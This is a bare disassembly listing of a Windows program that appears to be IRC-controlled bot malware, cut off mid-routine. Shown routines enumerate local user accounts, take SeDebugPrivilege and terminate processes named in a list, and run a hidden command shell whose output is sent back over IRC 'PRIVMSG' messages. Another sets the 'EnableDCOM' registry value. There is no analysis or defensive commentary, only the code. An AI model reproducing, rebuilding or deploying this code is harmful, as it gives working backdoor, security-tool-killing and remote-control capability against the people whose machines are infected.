loc_419817: ; CODE XREF: sub_419443+3A6j cmp [ebp+var_4], 0 jz short loc_419826 push [ebp+var_4] call dword_4CBA64 loc_419826: ; CODE XREF: sub_419443+40j ; sub_419443+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_419443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_419177 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 18h loc_41986B: ; CODE XREF: sub_41982C+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB934 cmp eax, esi mov [ebp+var_C], eax jz short loc_4198CC cmp eax, 0EAh jz short loc_4198CC push eax push eax call sub_4199AC pop ecx push eax lea eax, [ebp+var_218] push offset unk_439ED8 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 24h jmp short loc_419947 ; --------------------------------------------------------------------------- loc_4198CC: ; CODE XREF: sub_41982C+62j ; sub_41982C+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41995A xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_419947 loc_4198DE: ; CODE XREF: sub_41982C+EDj cmp edi, esi jz short loc_41991D push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_41C266 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_4198DE jmp short loc_419947 ; --------------------------------------------------------------------------- loc_41991D: ; CODE XREF: sub_41982C+B4j lea eax, [ebp+var_218] push offset unk_439EA4 push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_419947: ; CODE XREF: sub_41982C+9Ej ; sub_41982C+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41995A push edi call dword_4CBA64 xor edi, edi mov [ebp+var_4], edi loc_41995A: ; CODE XREF: sub_41982C+A5j ; sub_41982C+120j cmp [ebp+var_C], 0EAh jz loc_41986B cmp edi, esi jz short loc_419972 push edi call dword_4CBA64 loc_419972: ; CODE XREF: sub_41982C+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41C266 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41982C endp ; =============== S U B R O U T I N E ======================================= sub_4199AC proc near ; CODE XREF: sub_418FE5+41p ; sub_4191DB+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419A5E jz loc_419A57 cmp eax, 7Bh ja short loc_419A23 jz short loc_419A19 cmp eax, 5 jz short loc_419A0F cmp eax, 8 jz short loc_419A05 cmp eax, 32h jz short loc_4199FB cmp eax, 35h jz short loc_4199F1 cmp eax, 57h jnz loc_419AAD push offset aInvalidParamet ; "Invalid parameter." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199F1: ; CODE XREF: sub_4199AC+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_4199FB: ; CODE XREF: sub_4199AC+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A05: ; CODE XREF: sub_4199AC+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A0F: ; CODE XREF: sub_4199AC+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A19: ; CODE XREF: sub_4199AC+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_4199AC+1Aj sub eax, 7Ch jz short loc_419A50 sub eax, 7C8h jz short loc_419A49 dec eax jz short loc_419A3F dec eax jnz short loc_419AAD push offset aDuplicateShare ; "Duplicate share name." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A3F: ; CODE XREF: sub_4199AC+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419ACE ; --------------------------------------------------------------------------- loc_419A49: ; CODE XREF: sub_4199AC+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A50: ; CODE XREF: sub_4199AC+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A57: ; CODE XREF: sub_4199AC+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A5E: ; CODE XREF: sub_4199AC+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_419A97 jz short loc_419A90 sub eax, 8ADh jz short loc_419AC2 dec eax dec eax jz short loc_419A89 dec eax jz short loc_419A82 dec eax dec eax jnz short loc_419AAD push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4199AC+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A89: ; CODE XREF: sub_4199AC+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: sub_4199AC+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419A97: ; CODE XREF: sub_4199AC+B9j sub eax, 8CAh jz short loc_419AC9 sub eax, 17h jz short loc_419AC2 sub eax, 25h jz short loc_419ABB sub eax, 29h jz short loc_419AB4 loc_419AAD: ; CODE XREF: sub_4199AC+35j ; sub_4199AC+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AB4: ; CODE XREF: sub_4199AC+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419ABB: ; CODE XREF: sub_4199AC+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC2: ; CODE XREF: sub_4199AC+C2j ; sub_4199AC+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419ACE ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_4199AC+F0j push offset aNetworkConnect ; "Network connection not found." loc_419ACE: ; CODE XREF: sub_4199AC+40j ; sub_4199AC+4Aj ... push offset dword_4DB5E0 call sub_41C266 pop ecx mov eax, offset dword_4DB5E0 pop ecx retn sub_4199AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41E0D4 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_4270C8 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41E0D4 lea eax, [ebp+var_718] push eax call sub_41E0B7 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB9E4 test eax, eax jnz short loc_419B70 mov esi, offset dword_4DB3DC push offset unk_43A20C push esi call sub_41C266 pop ecx pop ecx jmp short loc_419B99 ; --------------------------------------------------------------------------- loc_419B70: ; CODE XREF: sub_419AE0+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_4199AC pop ecx mov esi, offset dword_4DB3DC push eax push offset dword_43A1E0 push esi call sub_41C266 add esp, 14h loc_419B99: ; CODE XREF: sub_419AE0+8Ej mov eax, esi pop esi leave retn sub_419AE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B9E proc near ; CODE XREF: sub_4172C1+45p ; sub_4172C1+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_427104 ; GetCurrentProcess push eax call dword_4CB9B8 ; OpenProcessToken test eax, eax jnz short loc_419BBD leave retn ; --------------------------------------------------------------------------- loc_419BBD: ; CODE XREF: sub_419B9E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB990 ; LookupPrivilegeValueA test eax, eax jz short loc_419BFB cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419BE4 or [ebp+var_8], 2 jmp short loc_419BE8 ; --------------------------------------------------------------------------- loc_419BE4: ; CODE XREF: sub_419B9E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_419BE8: ; CODE XREF: sub_419B9E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4CBA40 ; AdjustTokenPrivileges mov esi, eax loc_419BFB: ; CODE XREF: sub_419B9E+32j push [ebp+var_4] call dword_427070 ; CloseHandle mov eax, esi pop esi leave retn sub_419B9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p ; sub_419E38+74p ... var_554 = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4CB9F4, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_419E08 cmp dword_4CB9D8, ebx jz loc_419E08 cmp dword_4CB8E8, ebx jz loc_419E08 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push ebx push 0Fh call dword_4CB9F4 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_419DFB lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4CB9D8 ; Process32First mov esi, dword_427070 test eax, eax jz loc_419DF6 lea eax, [ebp+var_130] push eax push edi call dword_4CB8E8 ; Process32Next test eax, eax jz loc_419DF6 mov edi, dword_42708C mov ebx, 1F0FFFh loc_419CCD: ; CODE XREF: sub_419C09+1E5j xor eax, eax cmp [ebp+arg_10], eax jz short loc_419D34 mov [ebp+var_4], offset off_43A238 loc_419CDB: ; CODE XREF: sub_419C09+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_10C] push eax call dword_42718C ; lstrcmpi test eax, eax jz short loc_419D03 add [ebp+var_4], 4 cmp [ebp+var_4], offset dword_43A298 jb short loc_419CDB jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D03: ; CODE XREF: sub_419C09+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_419DDC push 0 push eax call dword_4270FC ; TerminateProcess test eax, eax jnz loc_419DDC loc_419D2A: ; CODE XREF: sub_419C09+1B9j push [ebp+var_4] call esi ; CloseHandle jmp loc_419DDC ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419C09+C9j cmp [ebp+arg_C], eax jnz loc_419DC7 cmp [ebp+arg_4], eax jz loc_419DDC push [ebp+var_128] push 8 call dword_4CB9F4 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_419D87 lea ecx, [ebp+var_354] push ecx push eax call dword_4CB894 ; Module32First push [ebp+var_128] test eax, eax jz short loc_419D8D lea eax, [ebp+var_234] jmp short loc_419D93 ; --------------------------------------------------------------------------- loc_419D87: ; CODE XREF: sub_419C09+15Cj push [ebp+var_128] loc_419D8D: ; CODE XREF: sub_419C09+174j lea eax, [ebp+var_10C] loc_419D93: ; CODE XREF: sub_419C09+17Cj push eax lea eax, [ebp+var_554] push offset aSD_0 ; " %s (%d)" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_554] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h jmp loc_419D2A ; --------------------------------------------------------------------------- loc_419DC7: ; CODE XREF: sub_419C09+12Ej push [ebp+arg_C] lea eax, [ebp+var_10C] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_419E0F loc_419DDC: ; CODE XREF: sub_419C09+F5j ; sub_419C09+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4CB8E8 ; Process32Next test eax, eax jnz loc_419CCD xor ebx, ebx loc_419DF6: ; CODE XREF: sub_419C09+9Dj ; sub_419C09+B3j push [ebp+var_8] call esi ; CloseHandle loc_419DFB: ; CODE XREF: sub_419C09+77j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx loc_419E08: ; CODE XREF: sub_419C09+3Aj ; sub_419C09+46j ... xor eax, eax loc_419E0A: ; CODE XREF: sub_419C09+22Dj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_419E0F: ; CODE XREF: sub_419C09+1D1j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call dword_4270FC ; TerminateProcess test eax, eax jnz short loc_419E33 push edi call esi ; CloseHandle jmp short loc_419E08 ; --------------------------------------------------------------------------- loc_419E33: ; CODE XREF: sub_419C09+223j push 1 pop eax jmp short loc_419E0A sub_419C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43A438 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E97 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419E97: ; CODE XREF: sub_419E38+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419C09 add esp, 18h test eax, eax jnz short loc_419EBF push offset unk_43A414 jmp short loc_419EC4 ; --------------------------------------------------------------------------- loc_419EBF: ; CODE XREF: sub_419E38+7Ej push offset unk_43A3F0 loc_419EC4: ; CODE XREF: sub_419E38+85j lea eax, [ebp+var_298] push eax call sub_41C266 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419EF7 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419EF7: ; CODE XREF: sub_419E38+9Dj lea eax, [ebp+var_298] push eax call sub_415D38 push [ebp+var_14] call sub_40B6D6 pop ecx pop ecx push esi call dword_4270D4 ; ExitThread pop edi pop esi sub_419E38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p ; sub_40B4F5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call dword_42708C ; OpenProcess mov esi, eax test esi, esi jz short loc_419F48 push 0 push esi call dword_4270FC ; TerminateProcess test eax, eax jnz short loc_419F48 push esi xor edi, edi call dword_427070 ; CloseHandle loc_419F48: ; CODE XREF: sub_419F16+1Aj ; sub_419F16+27j mov eax, edi pop edi pop esi retn sub_419F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419F4D proc near ; DATA XREF: sub_401221+3CDo push esi xor esi, esi loc_419F50: ; CODE XREF: sub_419F4D+1Ej push 1 push esi push esi push esi push esi push esi call sub_419C09 add esp, 18h push dword_43A234 call dword_427080 ; Sleep jmp short loc_419F50 sub_419F4D endp ; =============== S U B R O U T I N E ======================================= sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap ; sub_419FD5+7Ep ... mov eax, dword_4DBC48 push esi mov esi, dword_427070 cmp eax, 0FFFFFFFFh jz short loc_419F81 push eax call esi ; CloseHandle loc_419F81: ; CODE XREF: sub_419F6D+Fj mov eax, dword_4DBC50 cmp eax, 0FFFFFFFFh jz short loc_419F8E push eax call esi ; CloseHandle loc_419F8E: ; CODE XREF: sub_419F6D+1Cj mov eax, dword_4DBC44 cmp eax, 0FFFFFFFFh jz short loc_419F9B push eax call esi ; CloseHandle loc_419F9B: ; CODE XREF: sub_419F6D+29j pop esi retn sub_419F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p ; sub_416000+14Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B9C0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DBC4C call dword_4270F0 ; WriteFile test eax, eax jnz short loc_419FD0 call sub_419F6D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419FD0: ; CODE XREF: sub_419F9D+28j push 1 pop eax leave retn sub_419F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p ; sub_41A05C+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43DB88 push [ebp+arg_4] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41A018 push 7D0h call dword_427080 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C266 add esp, 10h jmp short loc_41A02F ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FD5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_2 ; "%s" push eax call sub_41C266 add esp, 0Ch loc_41A02F: ; CODE XREF: sub_419FD5+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 ; send test eax, eax jg short loc_41A058 call sub_419F6D loc_41A058: ; CODE XREF: sub_419FD5+7Cj xor eax, eax leave retn sub_419FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DBC54 loc_41A074: ; CODE XREF: sub_41A05C+79j ; sub_41A05C+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DBC48 call dword_427194 ; PeekNamedPipe test eax, eax jz loc_41A142 cmp [ebp+var_4], edi jnz short loc_41A0D7 lea eax, [ebp+var_8] push eax push dword_4DBC44 call dword_427190 ; GetExitCodeProcess test eax, eax jz short loc_41A0CD cmp [ebp+var_8], 103h jnz loc_41A166 loc_41A0CD: ; CODE XREF: sub_41A05C+62j push 0Ah call dword_427080 ; Sleep jmp short loc_41A074 ; --------------------------------------------------------------------------- loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A0EE loc_41A0DE: ; CODE XREF: sub_41A05C+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A13C inc eax cmp eax, [ebp+var_4] jb short loc_41A0DE loc_41A0EE: ; CODE XREF: sub_41A05C+80j mov [ebp+var_4], esi loc_41A0F1: ; CODE XREF: sub_41A05C+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DBC48 call dword_4270EC ; ReadFile test eax, eax jz short loc_41A18E lea eax, [ebp+var_20C] push eax push ebx push dword_4DBC88 call sub_419FD5 add esp, 0Ch jmp loc_41A074 ; --------------------------------------------------------------------------- loc_41A13C: ; CODE XREF: sub_41A05C+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A0F1 ; --------------------------------------------------------------------------- loc_41A142: ; CODE XREF: sub_41A05C+45j push offset unk_43A4C0 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push 1 call dword_4270D4 ; ExitThread loc_41A166: ; CODE XREF: sub_41A05C+6Bj call sub_419F6D push offset unk_43A498 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call dword_4270D4 ; ExitThread loc_41A18E: ; CODE XREF: sub_41A05C+C3j push offset unk_43A468 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call dword_4270D4 ; ExitThread sub_41A05C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp ; sub_416000+99p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F6D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_4346E0 push esi call dword_4CBA90 ; SearchPathA test eax, eax jz loc_41A2AB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_41A2AB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_41A2AB mov edi, dword_427104 push 3 push esi push esi push offset dword_4DBC4C call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_427100 ; DuplicateHandle test eax, eax jz short loc_41A2AB push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BF70 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43DB88 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_427074 ; CreateProcessA test eax, eax jnz short loc_41A2B3 loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj ; sub_41A1B1+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A361 ; --------------------------------------------------------------------------- loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j push [ebp+var_4] mov edi, dword_427070 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DBC48, eax mov eax, [ebp+var_8] mov dword_4DBC50, eax mov eax, [ebp+var_2C] mov dword_4DBC44, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DBC88, eax jz short loc_41A2ED push [ebp+arg_4] jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2ED: ; CODE XREF: sub_41A1B1+135j push ebx loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj push offset dword_4DBC54 call sub_41C266 pop ecx pop ecx push esi push 0Ah push offset unk_43A524 call sub_40B3BA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E918[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A05C push esi push esi call dword_427084 ; CreateThread cmp eax, esi mov dword_43E924[edi], eax jnz short loc_41A35F call dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_43A4F0 push eax call sub_41C266 lea eax, [ebp+var_378] push eax call sub_415D38 add esp, 10h loc_41A35F: ; CODE XREF: sub_41A1B1+185j xor eax, eax loc_41A361: ; CODE XREF: sub_41A1B1+FDj pop edi pop esi pop ebx leave retn sub_41A1B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A3AD call sub_41A3C6 jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A366+3Ej call sub_41A6EA loc_41A3B2: ; CODE XREF: sub_41A366+45j add esp, 10h push [ebp+var_14] call sub_40B6D6 pop ecx push 0 call dword_4270D4 ; ExitThread sub_41A366 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CBAA4, edi jnz loc_41A4F8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 ; RegOpenKeyExA test eax, eax jnz short loc_41A451 mov ax, word_439298 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 ; RegSetValueExA test eax, eax jz short loc_41A433 push offset dword_43A7C0 jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A433: ; CODE XREF: sub_41A3C6+64j push offset dword_43A7A0 loc_41A438: ; CODE XREF: sub_41A3C6+6Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 ; RegCloseKey jmp short loc_41A464 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3C6+36j lea eax, [ebp+var_214] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A464: ; CODE 